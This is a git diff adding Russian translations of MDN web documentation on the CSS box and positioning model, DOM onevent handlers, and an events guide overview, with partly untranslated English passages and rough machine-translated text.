+<p>В отличие от параграфа {{ HTMLElement("p") }}, Web разработчик не может напрямую контролировать стили этих двух анонимных боксов. Те свойства, которые наследуются, берут своё значение от элемента {{ HTMLElement("div") }}, например {{ cssxref("color") }}, определяющий цвет текста. А другие значения, ненаследуемые, устанавливаются в значение <code>initial</code>. Например, у них не будет своего свойства {{ cssxref("background-color") }}, он всегда будет в состоянии "прозрачный" (transparent), значении по умолчанию для этого свойства, и поэтому будет видно тот background, который установлен у элемента <code>&lt;div&gt;</code>. А вот для параграфа <code>&lt;p&gt; </code>можно установить своё свойство цвета фона. Таким образом, эти два анонимных бокса будут иметь один и тот же цвет текста.</p>
+
+<p>Ещё один случай, который приводит к созданию анонимных блок-боксов, это случай, когда инлайн-бокс содержит один или несколько блок-боксов. В этом случае элемент, содержащий блок-боксы, делится на два инлайн-бокса - один перед, а второй после блок-бокса. И потом инлайн-элементы перед и после блок-бокса дополнительно заключаются в <em>анонимные блок-боксы</em>. Таким образом блок-бокс становится соседом для анонимных блок-боксов, содержащих инлайн-элементы.</p>
+
+<p>Если есть несколько блок-боксов, идущих подряд, без инлайн-элементов между ними, то анонимные блок-боксы создаются только перед и после такого набора блок-боксов.</p>
+
+<h3 id="Пример_2">Пример</h3>
+
+<p>Возьмём следующий HTML код, где установим для элемента {{ HTMLElement("p") }} значение <code>display:inline</code> и для элемента {{ HTMLElement("span") }} значение <code>display:block</code> :</p>
+
+<pre class="syntaxbox"><code>&lt;p&gt;Some &lt;em&gt;inline&lt;/em&gt; text &lt;span&gt;followed by a paragraph&lt;/span&gt; followed by more inline text.&lt;/p&gt;</code></pre>
+
+<p>Создадутся два анонимных блок-бокса, один для текста перед элементом span (<code>Some <em>inline</em> text</code>) и один для текста после него (<code>followed by more inline text</code>), и у нас получится вот такая структура:</p>
+
+<p style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/13625/anonymous_block_box_break.png" style="height: 137px; width: 597px;"></p>
+
+<p>Выглядеть она будет так:</p>
+
+<pre class="line-numbers language-html"><code class="language-html">Some inline text
+followed by a paragraph
+followed by more inline text.</code></pre>
+
+<h3 id="Элементы_инлайн-уровня_и_инлайн-боксы">Элементы инлайн-уровня и инлайн-боксы</h3>
+
+<p>Элементы, которые называются <em>элементами инлайн-уровня</em> - это элементы, у которых вычисленное значение CSS свойства {{ cssxref("display") }} установлено в : <code>inline</code>, <code>inline-block</code> или <code>inline-table</code>. Визуально они не представляют собой какие-то отдельные блоки, но они они распологаются в одну линию с другим контентом инлайн-уровня. Например, содержание параграфа, с различным форматированием, таким как подчёркивание или картинка, состоит из элементов инлайн-уровня.</p>
+
+<p><img alt="venn_inlines.png" class="internal lwrap" src="https://developer.mozilla.org/@api/deki/files/6008/=venn_inlines.png" style="float: left;"></p>
+
+<div class="warning">
+<p>Эта диаграмма использует устаревшую терминологию; см. примечания ниже. К тому же она некорректна, потому что жёлтый эллипс справа по определению должен быть изображён одинаковым по размеру с эллипсом слева или больше него  (it could be a mathematical superset), потому что в спецификации сказано: "Элементв инлайн-уровня генерируют боксы инлайн-уровня, участвующие в форматировании инлайн-уровня", см. CSS 2.2, глава 9.2.2</p>
+</div>
+
+<p>Элементы инлайн-уровня создают <em>боксы инлайн-уровня</em>, которые определены как боксы, участвующие в <a href="https://developer.mozilla.org/en-US/docs/CSS/Inline_formatting_context" title="CSS/Inline formatting context">контексте форматирования инлайн-уровня</a>. <em>Inline boxes</em> are both inline-level boxes and boxes, whose contents participate in their container's inline formatting context. This is the case, for example, for all non-replaced boxes with <code>display:inline</code>. Inline-level boxes, whose contents do not participate in an inline formatting context, are called <em>atomic inline-level boxes</em>. These boxes, generated by replaced inline-level elements or by elements with a calculated {{ cssxref("display") }} value of <code>inline-block</code> or <code>inline-table</code>, are never split into several boxes, as is possible with inline boxes.</p>
+
+<div class="note"><strong>Note:</strong> Initially, atomic inline-level boxes were called atomic inline boxes. This was unfortunate, as they are <strong>not</strong> inline boxes. This was corrected in an erratum to the spec. Nevertheless, you can harmlessly read atomic inline-level box each time you meet atomic inline box in the literature, as this is only a name change.</div>
+
+<div class="note">Atomic inline boxes cannot be split into several lines in an inline formatting context.
+<div style="-moz-column-width: 30em;">
+<pre class="line-numbers language-html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>style</span><span class="punctuation token">&gt;</span></span><span class="style token"><span class="language-css token">
+  <span class="selector token">span</span> <span class="punctuation token">{</span>
+    <span class="property token">display</span><span class="punctuation token">:</span>inline<span class="punctuation token">;</span> <span class="comment token">/* default value*/</span>
+  <span class="punctuation token">}</span>
+</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>style</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span><span class="language-css style-attr token"><span class="attr-name token"> <span class="attr-name token">style</span></span><span class="punctuation token">="</span><span class="attr-value token"><span class="property token">width</span><span class="punctuation token">:</span><span class="number token">20</span><span class="token unit">em</span><span class="punctuation token">;</span></span><span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+   The text in the span <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>span</span><span class="punctuation token">&gt;</span></span>can be split in several
+   lines as it<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>span</span><span class="punctuation token">&gt;</span></span> is an inline box.
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span></code></pre>
+</div>
+</div>
+
+<p>which leads to:</p>
+
+<div style="width: 20em;">The text in the span <span>can be split into several lines as it</span> is an inline box.</div>
+
+<pre class="line-numbers language-html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>style</span><span class="punctuation token">&gt;</span></span><span class="style token"><span class="language-css token">
+  <span class="selector token">span</span> <span class="punctuation token">{</span>
+    <span class="property token">display</span><span class="punctuation token">:</span>inline-block<span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>style</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span><span class="language-css style-attr token"><span class="attr-name token"> <span class="attr-name token">style</span></span><span class="punctuation token">="</span><span class="attr-value token"><span class="property token">width</span><span class="punctuation token">:</span><span class="number token">20</span><span class="token unit">em</span><span class="punctuation token">;</span></span><span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+   The text in the span <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>span</span><span class="punctuation token">&gt;</span></span>cannot be split in several
+   lines as it<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>span</span><span class="punctuation token">&gt;</span></span> is an inline-block box.
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<div class="note">
+<div style="-moz-column-width: 30em;">
+<p>which leads to:</p>
+
+<div style="width: 20em;">The text in the span <span style="display: inline-block;">cannot be split into several lines as it</span> is an inline-block box.</div>
+</div>
+</div>
+
+<h4 id="Anonymous_inline_boxes">Anonymous inline boxes</h4>
+
+<p>As for block boxes, there are a few cases where inline boxes are created automatically by the CSS engine. These inline boxes are also anonymous as they cannot be named by selectors; they inherit the value of all inheritable properties, setting it to <code>initial</code> for all others.</p>
+
+<p>The most common case where an anonymous inline box is created, is when some text is found as a direct child of a block box creating an inline formatting context. In that case, this text is included in the largest possible anonymous inline box. Also, space content, which would be removed by the behavior set in the {{ cssxref("white-space") }} CSS property, does not generate anonymous inline boxes because they would end empty.</p>
+
+<div class="note">Example TBD</div>
+
+<h3 id="Other_types_of_boxes">Other types of boxes</h3>
+
+<h4 id="Line_boxes">Line boxes</h4>
+
+<p><em>Line boxes</em> are generated by the <a href="https://developer.mozilla.org/en-US/docs/CSS/Inline_formatting_context" title="block formatting context">inline formatting context</a> to represent a line of text. Inside a block box, a line box extends from one border of the box to the other. When there are <a href="https://developer.mozilla.org/en-US/docs/CSS/float" title="float">floats</a>, the line box starts at the rightmost border of the left floats and ends at the leftmost border of the right floats.</p>
+
+<p>These boxes are technical, and Web authors do not usually have to bother with them.</p>
+
+<h4 id="Run-in_boxes">Run-in boxes</h4>
+
+<p><em>Run-in boxes</em>, defined using <code>display:run-in</code>, are boxes that are either block boxes or inline boxes, depending on the type of the following box. They can be used to create a title that runs inside its first paragraph when possible.</p>
+
+<div class="note"><strong>Note:</strong> Run-in boxes were removed from the CSS 2.1 standard, as they were insufficiently specified to allow for interoperable implementation. They may reappear in CSS3, but meanwhile, are considered <em>experimental</em>. They should not be used in production.</div>
+
+<h4 id="Model-induced_boxes">Model-induced boxes</h4>
+
+<p>Besides the inline and block formatting contexts, CSS specifies several additional <em>content models</em> that may be applied to elements. These additional models, used to describe specific layouts, may define additional box types:</p>
+
+<ul>
+ <li>The <a href="https://developer.mozilla.org/en-US/docs/CSS/table-layout" title="table-layout">table content model</a> may create a <em>table wrapper box</em> and a <em>table box</em>, but also specific boxes like <em>caption boxes</em>.</li>
+ <li>The <a href="https://developer.mozilla.org/en-US/docs/CSS/Using_CSS_multi-column_layouts" title="Using CSS multi-column layouts">multi-column content model</a> may create <em>column boxes</em> between the container box and the content<em>.</em></li>
+ <li>The experimental grid, or flex-box content models, also create additional types of boxes.</li>
+</ul>
+
+<h4 id="Positioning_schemes">Positioning schemes</h4>
+
+<p>Once boxes are generated, the CSS engine needs to position them on the layout. To do that, it uses one of the following algorithms:</p>
+
+<ul>
+ <li>The <em>normal flow</em> - positions each box one after the other.</li>
+ <li>The <em>floats</em> algorithm - extracts the box from the normal flow and put it to the side of the containing box.</li>
+ <li>The <em>absolute positioning</em> scheme - positions a box within an absolute coordinate system that is established by its containing element. An absolutely positioned element can cover other elements.</li>
+</ul>
+
+<h3 id="Normal_flow">Normal flow</h3>
+
+<p>In the <em>normal flow</em>, boxes are laid out one after the other. In a block formatting context, they are laid out vertically; in an inline formatting context, they are laid out horizontally. The normal flow is triggered when the CSS {{ cssxref("position") }} is set to the value <code>static</code> or <code>relative</code>, and if the CSS {{ cssxref("float") }} is set to the value <code>none</code>.</p>
+
+<h3 id="Example">Example</h3>
+
+<div class="note">When in the normal flow, in a block formatting context, boxes are laid vertically one after the other out.<br>
+<br>
+When in the normal flow, in an inline formatting context, boxes are laid horizontally one after the other out.</div>
+
+<div class="note">
+<p>There are two sub-cases of the normal flow: static positioning and relative positioning:</p>
+
+<ul>
+ <li>In <em>static positioning</em>, triggered by the value <code>static</code> of the {{ cssxref("position") }} property, the boxes are drawn at the exact position defined by the normal flow layout.</li>
+ <li>In <em>relative</em><em> positioning</em>, triggered by the value <code>relative</code> of the {{ cssxref("position") }} property, the boxes are drawn with an offset defined by the {{ cssxref("top") }}, {{ cssxref("bottom") }}, {{ cssxref("left") }} and {{ cssxref("right") }} CSS properties.</li>
+</ul>
+</div>
+
+<h3 id="Floats">Floats</h3>
+
+<p>In the <em>float positioning scheme</em>, specific boxes (called <em>floating boxes</em> or simply <em>floats)</em> are positioned at the beginning, or end of the current line. This leads to the property that text (and more generally anything within the normal flow) flows along the edge of the floating boxes, except if told differently by the {{ cssxref("clear") }} CSS property.</p>
+
+<p>The float positioning scheme for a box is selected, by setting the {{ cssxref("float") }} CSS property on that box to a value different than <code>none</code> and {{ cssxref("position") }} to <code>static</code> or <code>relative</code>. If {{ cssxref("float") }} is set to <code>left</code>, the float is positioned at the beginning of the line box. If set to <code>right</code>, the float is positioned at the end of the line box. In either case, the line box is shrunk to fit alongside the float.</p>
+
+<h3 id="Absolute_positioning">Absolute positioning</h3>
+
+<p>In the <em>absolute positioning scheme</em>, boxes are entirely removed from the flow and don't interact with it at all. They are positioned relative to their <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/All_About_The_Containing_Block" title="CSS/Containing block">containing block</a> using the {{ cssxref("top") }}, {{ cssxref("bottom") }}, {{ cssxref("left") }} and {{ cssxref("right") }} CSS properties.</p>
+
+<p>An element is absolutely positioned if the {{ cssxref("position") }} is set to <code>absolute</code> or <code>fixed</code>.</p>
+
+<p>With a <em>fixed positioned element</em>, the containing block is the viewport. The position of the element is absolute within the viewport. Scrolling does not change the position of the element.</p>
diff --git a/files/ru/web/guide/events/event_handlers/index.html b/files/ru/web/guide/events/event_handlers/index.html
new file mode 100644
index 0000000000..8401bd0739
--- /dev/null
+++ b/files/ru/web/guide/events/event_handlers/index.html
@@ -0,0 +1,166 @@
+---
+title: DOM onevent handlers
+slug: Web/Guide/Events/Event_handlers
+translation_of: Web/Guide/Events/Event_handlers
+---
+<p>Веб-платформа предоставляет несколько способов получения уведомлений о событиях DOM. Два общих подхода - это {{domxref ("EventTarget.addEventListener", " addEventListener ()")}} и конкретные обработчики <span class="seoSummary"><code>on<em>event</em></code> </span> . Эта страница посвящена тому, как работают последние.</p>
+
+<h2 id="Регистрация_обработчиков_onevent">Регистрация обработчиков onevent</h2>
+
+<p>Обработчики <strong><code>on<em>event</em></code></strong> - это свойства определенных элементов DOM, позволяющие управлять тем, как этот элемент реагирует на события. Элементы могут быть интерактивными (ссылки, кнопки, изображения, формы и т. д.) или неинтерактивными (например, элемент base &lt;body&gt;). События - это такие действия, как:</p>
+
+<ul>
+ <li>Клик мышкой</li>
+ <li>Нажатие клавиш</li>
+ <li>Получение фокуса</li>
+</ul>
+
+<p>Обработчик on-event обычно называется с именем события, на которое он реагирует, например <code>on<em>click</em></code> , <code>on<em>keypress</em></code> , <code>on<em>focus</em></code> и т. д.</p>
+
+<p>Вы можете указать обработчик событий on&lt;...&gt; для конкретного события (например, {{event("click")}}) для данного объекта различными способами:</p>
+
+<ul>
+ <li>Добавление HTML элемента {{Glossary("attribute")}} с событием <code>on<em>&lt;eventtype&gt;</em></code>:<br>
+  <code>&lt;button <strong>onclick="handleClick()"</strong>&gt;</code>,</li>
+ <li>Или установив соответствующий параметр {{Glossary("property/JavaScript", "property")}} из JavaScript:<br>
+  <code>document.querySelector("button")<strong>.onclick = function(event) { … }</strong></code>.</li>
+</ul>
+
+<p>Свойство обработчика событий <code>on<em>event</em></code>  служит своего рода заполнителем, которому может быть назначен один обработчик событий. Чтобы разрешить установку нескольких обработчиков для одного и того же события на данном объекте, вы можете вызвать метод {{domxref("EventTarget.addEventListener", " addEventListener ()")}} , который управляет списком обработчиков для данного события на объекте. Затем обработчик можно удалить из объекта, вызвав его функцию {{domxref ("EventTarget.removeEventListener", "removeEventListener()")}} .</p>
+
+<p>Когда происходит событие, которое применяется к элементу, каждый из его обработчиков событий вызывается, чтобы позволить им обрабатывать это событие один за другим. Вам не нужно вызывать их самостоятельно, хотя вы можете сделать это во многих случаях, чтобы легко имитировать происходящее событие. Например, учитывая объект кнопки <code>myButton</code> , вы можете сделать <code>myButton.onclick(myEventObject)</code> для прямого вызова обработчика событий. Если обработчик событий не имеет доступа к каким-либо данным из объекта event, вы можете пропустить это событие при вызове функции <code>onclick()</code> .</p>
+
+<p>This continues until every handler has been called, unless one of the event handlers explicitly halts the processing of the event by calling {{domxref("Event.stopPropagation", "stopPropagation()")}} on the event object itself.</p>
+
+<p>Это продолжается до тех пор, пока не будет вызван каждый обработчик, если только один из обработчиков событий явно не остановит обработку события, вызвав {{domxref("Event.stopPropagation", " stopPropagation ()")}} на самом объекте события.</p>
+
+<h3 id="Non-element_objects">Non-element objects</h3>
+
+<p>Event handlers can also be set with properties on non-element objects that generate events, like {{ domxref("window") }}, {{ domxref("document") }}, {{ domxref("XMLHttpRequest") }}, and others. For example, for the <code>progress</code> event on instances of <code>XMLHttpRequest</code>:</p>
+
+<pre class="brush: js">const xhr = new XMLHttpRequest();
+xhr.onprogress = function() { … };</pre>
+
+<h2 id="HTML_onevent_attributes">HTML onevent attributes</h2>
+
+<p>HTML elements have attributes named <code>on<em>event</em></code> which can be used to register a handler for an event directly within the HTML code. When the element is built from the HTML, the value of its <code>on<em>event</em></code> attributes are copied to the DOM object that represents the element, so that accessing the attributes' values using JavaScript will get the value set in the HTML.</p>
+
+<p>Further changes to the HTML attribute value can be done via the <a href="https://developer.mozilla.org/en-US/docs/Web/API/Element/setAttribute"><code>setAttribute</code> </a>method; Making changes to the JavaScript property will have no effect.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<p>Given this HTML document:</p>
+
+<pre class="brush: html">&lt;p&gt;Demonstrating quirks of &lt;code&gt;on&lt;em&gt;event&lt;/em&gt;&lt;/code&gt; HTML attributes on
+   &lt;a onclick="log('Click!')"&gt;these three words&lt;/a&gt;.
+&lt;/p&gt;
+
+&lt;div&gt;&lt;/div&gt;</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<p>Then this JavaScript demonstrates that the value of the HTML attribute is unaffected by changes to the JavaScript object's property.</p>
+
+<pre class="brush: js">let logElement = document.querySelector('div');
+let el = document.querySelector("a");
+
+function log(msg) { logElement.innerHTML += `${msg}&lt;br&gt;` };
+function anchorOnClick(event) { log("Changed onclick handler") };
+
+// Original Handler
+log(`Element's onclick as a JavaScript property: &lt;code&gt; ${el.onclick.toString()} &lt;/code&gt;`);
+
+//Changing handler using .onclick
+log('&lt;br&gt;Changing onclick handler using &lt;strong&gt; onclick property &lt;/strong&gt; ');
+
+el.onclick = anchorOnClick;
+
+log(`Changed the property to: &lt;code&gt; ${el.onclick.toString()} &lt;/code&gt;`);
+log(`But the HTML attribute is unchanged: &lt;code&gt; ${el.getAttribute("onclick")} &lt;/code&gt;&lt;br&gt;`);
+
+//Changing handler using .setAttribute
+log('&lt;hr/&gt;&lt;br&gt; Changing onclick handler using &lt;strong&gt; setAttribute method &lt;/strong&gt; ');
+el.setAttribute("onclick", 'anchorOnClick(event)');
+
+log(`Changed the property to: &lt;code&gt; ${el.onclick.toString()} &lt;/code&gt;`);
+log(`Now even the HTML attribute has changed: &lt;code&gt; ${el.getAttribute("onclick")} &lt;/code&gt;&lt;br&gt;`);</pre>
+
+<h3 id="Result">Result</h3>
+
+<p>{{ EmbedLiveSample('HTML_onevent_attributes', '', '', '', 'Web/Guide/Events/Event_handlers') }}</p>
+
+<p>For historical reasons, some attributes/properties on the {{HTMLElement("body")}} and {{HTMLElement("frameset")}} elements instead set event handlers on their parent {{domxref("Window")}} object. (The HTML specification names these: <code><a href="/en-US/docs/Web/API/GlobalEventHandlers/onblur">onblur</a></code>, <code><a href="/en-US/docs/Web/API/GlobalEventHandlers/onerror">onerror</a></code>, <code><a href="/en-US/docs/Web/API/GlobalEventHandlers/onfocus">onfocus</a></code>, <code><a href="/en-US/docs/Web/API/GlobalEventHandlers/onload">onload</a></code>, and <code><a href="/en-US/docs/Web/API/GlobalEventHandlers/onscroll">onscroll</a></code>.)</p>
+
+<h3 id="Event_handlers_parameters_this_binding_and_the_return_value">Event handler's parameters, <code>this</code> binding, and the return value</h3>
+
+<p>When the event handler is specified as <strong>an HTML attribute</strong>, the specified code is wrapped into a function with <strong>the following parameters</strong>:</p>
+
+<ul>
+ <li><code>event</code> — for all event handlers except {{domxref("GlobalEventHandlers.onerror", "onerror")}}.</li>
+ <li><code>event</code>, <code>source</code>, <code>lineno</code>, <code>colno</code>, and <code>error</code> for the {{domxref("GlobalEventHandlers.onerror", "onerror")}} event handler. Note that the <code>event</code> parameter actually contains the error message as a string.</li>
+</ul>
+
+<p>When the event handler is invoked, the <code>this</code> keyword inside the handler is set to the DOM element on which the handler is registered. For more details, see <a href="/en-US/docs/Web/JavaScript/Reference/Operators/this#In_an_inline_event_handler">the <code>this</code> keyword documentation</a>.</p>
+
+<p>The return value from the handler determines if the event is canceled. The specific handling of the return value depends on the kind of event; for details, see <a href="https://html.spec.whatwg.org/multipage/webappapis.html#the-event-handler-processing-algorithm">"The event handler processing algorithm" in the HTML specification</a>.</p>
+
+<h3 id="When_the_event_handler_is_invoked">When the event handler is invoked</h3>
+
+<div class="blockIndicator note">
+<p>TBD (non-capturing listener)</p>
+</div>
+
+<h3 id="Terminology">Terminology</h3>
+
+<p>The term <strong>event handler</strong> may refer to:</p>
+
+<ul>
+ <li>Any function or object that is registered to be notified of events</li>
+ <li>Or more specifically, to the mechanism of registering event listeners via <code>on…</code> attributes in HTML or properties in Web APIs, such as <code>&lt;button onclick="alert(this)"&gt;</code> or <code>window.onload = function() { … }</code>.</li>
+</ul>
+
+<p>When discussing the various methods of listening to events:</p>
+
+<ul>
+ <li><strong>Event listener</strong> refers to a function or object registered via {{domxref("EventTarget.addEventListener()")}}</li>
+ <li><strong>Event handler</strong> refers to a function registered via <code>on…</code> attributes or properties</li>
+</ul>
+
+<h2 id="Specifications" name="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'webappapis.html#event-handler-attributes', 'event handlers')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'webappapis.html#event-handler-attributes', 'event handlers')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Browser compatibility</h2>
+
+<h4 id="Detecting_the_presence_of_event_handler_properties">Detecting the presence of event handler properties</h4>
+
+<p>You can detect the presence of an event handler property with the JavaScript <a href="/en-US/JavaScript/Reference/Operators/in" title="en/JavaScript/Reference/Operators/in"><code>in</code></a> operator. For example:</p>
+
+<pre class="brush: js">if ("onsomenewfeature" in window) {
+  /* do something amazing */
+}
+</pre>
+
+<h4 id="Event_handlers_and_prototypes">Event handlers and prototypes</h4>
+
+<p>You can't set or access the values of any IDL-defined attributes on DOM prototype objects. That means you can't, for example, change <code>Window.prototype.onload</code>. In the past, event handlers (<code>onload</code>, etc.) weren't implemented as IDL attributes in Gecko, so you were able to do this for those. Now you can't. This improves compatibility.</p>
diff --git a/files/ru/web/guide/events/index.html b/files/ru/web/guide/events/index.html
new file mode 100644
index 0000000000..ccf1d5b353
--- /dev/null
+++ b/files/ru/web/guide/events/index.html
@@ -0,0 +1,59 @@
+---
+title: Руководство разработчика событий
+slug: Web/Guide/Events
+tags:
+  - DOM
+  - Event
+  - Guide
+  - NeedsTranslation
+  - NeedsUpdate
+  - TopicStub
+translation_of: Web/Guide/Events
+---
+<p>{{draft()}}</p>
+
+<p>События связаны с:</p>
+
+<ul>
+ <li>Шаблонами проектирования, использующимися для асинхронной обработки инцидентов, возникающих в жизненном цикле веб страницы</li>
+ <li>Именованием, характеризацией и использованием большого количества инцидентов различного типа</li>
+</ul>
+
+<p>Статья <a href="/en-US/docs/Web/Guide/API/DOM/Events/Overview_of_Events_and_Handlers">Overview page</a> содержит в краткой манере описание шаблонов проектирования и типов определяемых современными браузерами инцидентов</p>
+
+<div></div>
+
+<p><a href="/en-US/docs/Web/Guide/API/DOM/Events/Creating_and_triggering_events">Custom events page</a> <span id="result_box" lang="ru"><span class="hps">описывает, как</span> <span class="hps">шаблон кода события</span> <span class="hps">может быть использован в</span> <span class="hps">пользовательском коде</span><span>, чтобы</span> <span class="hps">определить новые</span> <span class="hps">типы событий</span><span>, испускаемые от</span> <span class="hps">пользовательских объектов</span><span>, зарегистрируйтесь</span> <span class="hps">функции</span> <span class="hps">слушателя</span>для <span class="hps">обработки</span> <span class="hps">этих</span> <span class="hps">событий</span><span>,</span> <span class="hps">и вызова</span> <span class="hps">события</span> <span class="hps">в коде</span> <span class="hps">пользователя</span><span>.</span></span></p>
+
+<p><span id="result_box" lang="ru"><span class="hps">Остальные</span> <span class="hps">страницы описывают</span><span>, как использовать</span> <span class="hps">события разных</span> <span class="hps">видов</span><span>, определенных</span> <span class="hps">в веб-браузерах</span><span>.</span> <span class="hps">К сожалению,</span> <span class="hps">эти события</span> <span class="hps">были определены</span> <span class="hps">по частям</span><span>,</span> <span class="atn hps">веб-</span><span>браузеры</span> <span class="hps">развивались</span> <span class="hps">таким образом, что</span> <span class="hps">нет</span> <span class="hps">удовлетворения</span> <span class="hps">систематическим</span> <span class="hps">характеристикам</span> <span class="hps">событий</span> <span class="hps">встроенным</span> <span class="hps">или</span> <span class="hps">определенным</span> в <span class="atn hps">современных веб-</span><span>браузерах.</span></span></p>
+
+<p><span id="result_box" lang="ru"><span><strong>Устройство</strong>, на котором</span> <span class="atn hps">работа веб-</span><span>браузера</span> <span class="hps">может спровоцировать</span> <span class="hps">событие</span><span>, например</span> <span class="hps">связанное с</span> <span class="hps">изменением его</span> <span class="hps">положения и ориентации</span> <span class="hps">в реальном мире</span><span>,</span> <span class="hps">частично описано</span></span> <a href="/en-US/docs/Web/Guide/API/DOM/Events/Orientation_and_motion_data_explained">page on orientation coordinate systems</a> и <a href="/en-US/docs/Web/Guide/API/DOM/Events/Using_device_orientation_with_3D_transforms">page on the use of 3D transforms</a>. Они<span id="result_box" lang="ru"> <span class="hps">разные, но</span> <span class="hps">похожи</span><span>,</span> <span class="hps">с измененой</span> <span class="hps">вертикальной ориентации</span> <span class="hps">устройства</span><span>.</span></span></p>
+
+<p><span id="result_box" lang="ru"><strong><span>Окно в котором</span> <span class="hps">отображается</span> <span class="hps">браузер</span></strong> <span class="hps">может вызвать</span> <span class="hps">события</span><span>, к примеру</span><span>,</span> <span class="hps">измененить размер</span><span>, если пользователь</span> <span class="hps">максимизирует</span> <span class="hps">окно или</span> <span class="hps">изменит его размер</span><span>.</span></span></p>
+
+<p><span id="result_box" lang="ru"><strong><span>Процесс загрузки</span></strong> <span class="hps">веб-страницы</span> <span class="hps">может вызвать</span> <span class="hps">ответное событие</span><span class="hps"> на завершение</span> <span class="hps">различных</span> <span class="hps">этапо</span><span class="hps">в</span> <span class="hps">загрузки,</span> анализирования <span class="hps">и перевода</span> <span class="hps">веб-страниц</span> <span class="hps">отображаемых пользователю</span><span>.</span></span></p>
+
+<p><span id="result_box" lang="ru"><span><strong>Взаимодействие пользователя</strong> с</span> <span class="hps">содержимым</span> <span class="hps">веб-страницы</span> <span class="hps">может вызвать</span> <span class="hps">события</span><span>.</span> <span class="hps">События</span><span>, вызванные</span> <span class="hps">взаимодействием</span> <span class="hps">пользователя</span> <span class="hps">развивались</span> <span class="hps">в первые годы</span> проектирования <span class="hps">браузера</span>, <span class="hps">и включают в себя</span> <span class="hps">сложную систему</span><span>, определяющую</span> <span class="hps">последовательность, в которой</span> <span class="hps">будет вызываться</span> <span class="hps">событие</span> <span class="hps">и</span> <span class="hps">манера, в которой</span> <span class="hps">эта последовательность</span> <span class="hps">может</span> <span class="hps">быть</span> <span class="hps">контролируемой</span><span>.</span> <span class="hps">Различные типы</span> <span class="hps">взаимодействия пользователя с</span> <span class="hps">управляемыми</span> <span class="hps">событиями:</span></span></p>
+
+<ul>
+ <li>обычное событие при нажатии,</li>
+ <li>событие, активированное мышью,</li>
+ <li><a href="/en-US/docs/Web/Guide/API/DOM/Events/Mouse_gesture_events">событие жеста мышью</a>,</li>
+ <li><a href="/en-US/docs/Web/Guide/API/DOM/Events/Touch_events">события нажатия на экран</a> и устаревшие <a href="/en-US/docs/Web/Guide/API/DOM/Events/Touch_events_(Mozilla_experimental)">экспериментальные события нажания на экран (от Mozilla)</a>.</li>
+</ul>
+
+<p><span id="result_box" lang="ru"><strong><span>Модификация</span> <span class="hps">в структуре веб-страницы</span> <span class="hps">или содержании</span></strong> <span class="hps">может быть</span> <span class="hps">вызвано некоторым</span> <span class="hps">событием</span><span>, </span> <span class="hps">описанным в</span></span> <a href="/en-US/docs/Web/Guide/API/DOM/Events/Mutation_events">mutation events page</a><span id="result_box" lang="ru"><span class="hps">, но</span> их<span class="hps"> использование </span> <span class="hps">устарело в</span> <span class="hps">пользу более </span><span class="hps">легкого</span></span> <a href="/en-US/docs/Web/API/MutationObserver">Mutation Observer</a> подхода.</p>
+
+<p><span id="result_box" lang="ru"><strong><span class="hps">Потоки</span> <span class="hps">Медиа</span></strong>, <span class="hps">встроенный</span> <span class="hps">в</span> <span class="hps">HTML</span> <span class="hps">документа,</span> <span class="hps">может</span> <span class="hps">вызвать некоторые</span> <span class="hps">события</span><span>,</span> <span class="hps">страница описания</span></span> <a href="/en-US/docs/Web/Guide/API/DOM/Events/Media_events">media events</a>.</p>
+
+<p><span id="result_box" lang="ru"><strong><span class="hps">Сетевые</span> </strong><span class="hps"><strong>запросы</strong>, сделанные</span> <span class="atn hps">веб-</span><span>страницей, могут</span> <span class="hps">вызвать некоторые</span> <span class="hps">события</span><span>.</span></span></p>
+
+<p><span id="result_box" lang="ru"><span class="hps">Есть</span> <span class="hps">много других источников</span> <span class="hps">событий, определенных</span> <span class="hps">в веб-браузере</span><span>,</span> <span class="hps">страницы которых</span> <span class="hps">пока не доступны</span> <span class="hps">в данном руководстве</span><span>.</span></span></p>
+
+<div class="note">
+<p><span id="result_box" lang="ru"><span class="hps">Примечание</span><span>:</span> <span class="hps">Это руководство</span> <span class="hps">событие</span> <span class="hps">Разработчик</span>а <span class="hps">нуждается в существенной</span> <span class="hps">работе</span><span>.</span><span>Структура должна</span> <span class="hps">быть</span> <span class="hps">реорганизована</span> <span class="hps">и страницы</span> <span class="hps">переписаны.</span> <span class="hps">Мы надеемся, что</span> <span class="hps">все, что вы</span><span class="hps"> знаете и должны знать</span> <span class="hps">о событиях</span> <span class="hps">будет опубликованно</span> <span class="hps">здесь.</span></span></p>
+</div>
+
+<h2 id="Docs">Docs</h2>
+
+<p>{{LandingPageListSubpages}}</p>
diff --git a/files/ru/web/guide/events/media_events/index.html b/files/ru/web/guide/events/media_events/index.html
new file mode 100644
